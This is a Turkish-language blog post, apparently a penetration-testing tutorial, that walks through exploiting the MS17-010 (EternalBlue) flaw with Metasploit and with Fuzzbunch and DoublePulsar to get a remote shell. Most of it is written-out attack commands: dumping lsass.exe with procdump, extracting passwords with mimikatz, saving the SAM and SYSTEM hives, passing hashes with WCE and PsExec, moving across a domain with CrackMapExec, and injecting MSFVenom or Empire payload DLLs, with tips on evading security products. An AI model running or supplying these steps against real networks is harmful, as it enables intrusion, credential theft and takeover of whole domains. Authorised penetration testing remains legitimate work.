Herkese Merhaba,
Bu yazıda birlikte MS17-010 zafiyeti bulunan bir bilgisayardan kurum içi sızma testi senaryosu canlandıracağız. MS17-010 zafiyeti Metasploit güvenlik çatısı altında modülü bulunmaktadır. ( exploit/windows/smb/ms17_010_eternalblue ) Fakat bu modül sadece x64 mimari yanı 64 bit işletim sistemlerinde çalışmaktadır. x86 yani 32 bit işletim sistemlerinde çaresiz kalmaktadır. Ayrıca bunun dışında metasploit popüler bir çatı olduğu için güvenlik ürünleri tarafında yakalanıp engellenebilmektedir. Bu MS17-010 zafiyetinde geçerli olduğu gibi bir çok zafiyetin metasploit ile sömürülmeye çalışıldığında kurumlarda başarılı olunmamakta ve otomatik yerine el ile sömürme işlemi gerçekleştirilmektedir. Yine aynı şekilde metasploit modülü olan PsExec ile hash’ı alınan bir makinaya bağlanabiliyoruz fakat güvenlik ürünleri bu bağlantılarıda tanıyıp kesebiliyor. Yazının devamında bu yöntemlere ve alternatiflerine değinmeye çalışacağım.
İlk olarak en basitten başlayarak hedef makina/ip üzerinden zafiyeti tespit edip metasploit ile sızmaya çalışalım.
Nmap Script Engine (NSE) ile MS17-010 zafiyetinin olup olmadığını test ediyoruz. Resimde görüldüğü gibi VULNERABLE olarak çıktı vermekte. Bu makinada MS17-010 zafiyeti bulunmakta. NSE harici Metasploit ile use auxiliary/scanner/smb/smb_ms17_010 diyerekde zafiyetin olup olmadığını test edebilirsiniz.
Artık metasploit’i açarak use exploit/windows/smb/ms17_010_eternalblue diyerek MS17-010 zafiyetini metasploit ile sömürebiliriz.
Burada gördüğünüz gibi Exploit target kısmında sadece x64 desteklenmektedir. Burada Payload olarak windows/x64/meterpreter/reverse_tcp payloadu kullanılmıştır. windows/x64/meterpreter/bind_tcp payloadıda farklı senaryolarda işinize görecektir.
Meterpreter komut satırına düştük buradan sonra meterpreter’in gelişmiş yeteneklerini kullanabilirsiniz ya da shell diyerek windows cmd satırına düşebilirsiniz. Windows tarafındaki en yetkili kulanıcı hakları olan NT AUTHORITY\SYSTEM yetkileri ile sisteme giriş yapıldığından dolayı bellekten hash ve parola çıkarma işlemleri yapılabilir.
Yukarıdaki resimlerde görüldüğü gibi meterpreter üzerinde hashdump ve mimikatz kullanılarak kullanıcı hash ve parolalarını elde edebildik. incoginito aracı ile kullanıcı tokenları arasında değiştirebildik.
Meterpreter ile sisteme sızmış olmasaydık cmd üzerinden yine procdump.exe aracını hedef makinaya indirerek cmd üzerinden procdump ile lsass.exe dumpını alarabiliriz.
C:\procdump.exe -accepteula -ma lsass.exe dump.dmp
Oluşturduğumuz lsaass.exe’nin dump.dmp dosyasını kendi makinamıza indirerek kendi makınamızda mimikatz ile aşağıdaki komutlar ile inceleyebiliriz.
mimikatz.exe
privilege::debug
sekurlsa::minidump dump.dmp
sekurlsa::logonPasswords
Ayrıca windows üzerinden sam ve system dosyalarını çıkartıp birleştirerek kullanıcı hashlerini elde edebiliriz. samdump2 aracı Kali Linux’ta yüklü olarak gelmektedir.
reg save hklm\sam c:\sam
reg save hklm\system c:\system
samdump2 system sam
Bu şekilde meterpreter dışındada windows makinalar üzerinde hash ve parolaları manuel olarak elde edebiliriz.
CrackMapExec ile elde edilen hash ve parolalar subnet ve domaindeki tüm makinalarda bu parola veya hash Local Admin hakları ile çalışıyorsa yukarıdaki resimdeki gibi Pwn3d! yazmaktadır. Bu aşamadan sonra isterseniz CME (Crack Map Exec) ile makinalardaki tokenları toplayabilir ya da bu makinalara bu hash ya da parolalar ile PsExec,SMBExec ya da WCE ile giriş yapılıp manuel olarak bu işlemleri gerçekleştirilebilir.
Metasploit’i açtıktan sonra use exploit/windows/smb/psexec diyerek metasploit ile giriş yapabilmekteyiz. Fakat başta söylediğim gibi bazı durumlarda güvenlik ürünleri tarafından tespit edilip kesilmektedir. Bunun için PsExec’e alternatif olarak Python’ın impacket modülünde bulunan smbexec.py işimizi görmektedir.
Windows bir makinadan hash ile hedef makinaya bağlanmak için Windows Credentiol Editor (WCE) ile bağlanılabilir.
wce.exe -l
wce.exe -g testlerdeyim
wce.exe -s <Kullanıcıadı>:<Domain/yadamakinaipsi>:<LM Hash>:<NTLM Hash>
net use ipADMIN$
PsExec.exe IPADRESİ -s cmd
Buraya kadar MS17-010 zafiyeti ile sisteme sızılıp daha sonra kurum içindeki yada Domainde ki diğer makinalarda aynı hashlerin tespiti bu makinalara hash ya da parola ile bağlanıp o makinalarda ki hash ve parolaları manuel ve otomatik şekilde elde etmeyi inceledik. Domainde bulunan her makina üzerinden hash,parola ve tokenlar toplandıkça bunların içinde Domain Admin yetkileri ile çalışan kullanıcı parola,token ve hash’ine rastlamanız olası. Bu yetkide kullanıcılara ulaşabilirseniz DC makinalarıda artık elinizde demektedir. MS17-010 zafiyeti metasploit modülü x86 versiyonundan kaynaklı ya da güvenlik ürünlerinin engellemesinden kaynaklı kesilebilirdi. Bu durumda fuzzbunch ile önüne geçebiliriz. x86 ve x64 işletim sistemi mimarilerinde çalışıp aynı zamanda bir çok güvenlik ürününe takılmadan başarı ile çalışmaktadır. Fuzzbunch’i çalıştırmak için hedef dışında Windows XP bir makina ve atak yapılacak,DLL oluşturulacak ve bağlantının dinleneceği bir makina (Örn: Kali Linux) daha kullanılmaktaydı. Bu süreci kolaylaştırmak için wine yazılımı ile Kali Linux üzerine Fuzzbunch kurulum imkanı sağlayan Kali/fuzzbunch-debian yazılımı linkteki sayfadaki yönergeler ile kurabilirsiniz.
Fuzzbunch-Debian Kurulum Komutları:
1- apt update
2- apt install wine winbind winetricks
3- dpkg –add-architecture i386 && apt-get update && apt-get install wine32
4- WINEPREFIX=”$HOME/.wine-fuzzbunch” WINEARCH=win32 wine wineboot
5- export WINEPREFIX=$HOME/.wine-fuzzbunch
6- wine regedit.exe
7- regedit açıldıktan sonra sağa tıklayıp Add String Value diyerek Type kısmına String Name kısmına PATH Value kısmına c:\\windows;c:\\windows\\system;C:\\Python26;C:\\fuzzbunch-debian\\windows\\fuzzbunch değerlerini girerek çıkıyoruz.
8- cd $HOME/.wine-fuzzbunch/drive_c
9- git clone https://github.com/mdiazcl/fuzzbunch-debian.git
10- winetricks python26
11- cd $HOME/.wine-fuzzbunch/drive_c/fuzzbunch-debian/windows
12- wine cmd.exe
13- python fb.py
Kali/fuzzbunch-debian kurarak Windows XP bağımlılığından kurtularak tek bir saldırgan makina ile atağı gerçekleştirebiliriz.
python fb.py ile fuzzbunch açıldığında yukarıda ki resimdeki ekran gelmektedir. 0 New project diyip isim verip Target (Sızılacak Hedef IP) ve Callback (Bağlantı gelecek bizim IP) değişkenlerini girerek enter tuşu ile değişkenlerin varsayılan değerlerini onaylayarak ilerliyoruz.
use Eternalblue diyerek MS17-010 Eternalblue exploitini kullanacağız.
Resimlerde ki parametreler girilip execute dediğimizde Eternalblue başarılı bir şekilde çalışmaktadır.
Eternalblue başarılı bir şekilde hedefte çalıştıkdan sonra use Doublepulsar diyerek exploiti tamamlayacağız.
Bu resimde görüldüğü gibi işletim sisteminin mimarisini sormakta. Metasploit modülünde sadece x64 seçeneği mevcut.
Bizim hedef makinamız x64 olduğu için 1 diyerek devam ediyoruz. Function kısmında exploitin çalışıp çalışmadığını denemek için 1 seçerek Ping komutu çalıştırıyoruz.
Ve komutumuz başarılı bir şekilde çalıştı. Artık 2 numaralı Run DLL Function’ı çalıştırıp kendimize DLL üretip onu hedef sistemde çalıştırarak shell alabiliriz.
MSFVenom ile x64 bir DLL üreterek bunu fuzzbunch’in kurulu olduğu dizine taşıyoruz.
Yukarıda ki resimde görüldüğü gibi set Function RunDLL diyerek functionımızı seçiyoruz. DLLOrdinal ve DLLPayload değişkenlerini girdikten sonra execute ile Doublepulsar’ı çalıştırıyoruz.
Başarılı bir şekilde çalıştı.
Doublepulsar’ı çalıştırmadan önce DLL’i oluştururken kullandığımız IP adresli makinada multi/handler modülü ile IP ve port numarasını dinlemeye başlıyoruz. Doublepulsar başarılı bir şekilde çalıştığında hedef makinadan shell gelmektedir.
Fuzzbunch ile DLL injecte ederken bunu MSFVenom yerine Empire ile DLL oluşturup onu Doublepulsar ile hedefte çalıştırarak gelen shell bağlantısını agent olarak Empire üzerinden kullanabilirsiniz.
Resimlerde görüldüğü gibi Empire ile DLL oluşturulup fuzzbunch dizinine taşınıp Doublepulsar DLLPath değişkenine bu DLL verilip çalıştırıldığında Empire agent’ı başarılı bir şekilde oluşmaktadır. Agent oluştukdan sonra Empire ile post exploitation yapabilirsiniz. Empire kurulum ve kullanımı adlı yazıma buradan ulaşabilirsiniz.
Bir başka yazıda görüşmek üzere.
Leave a Reply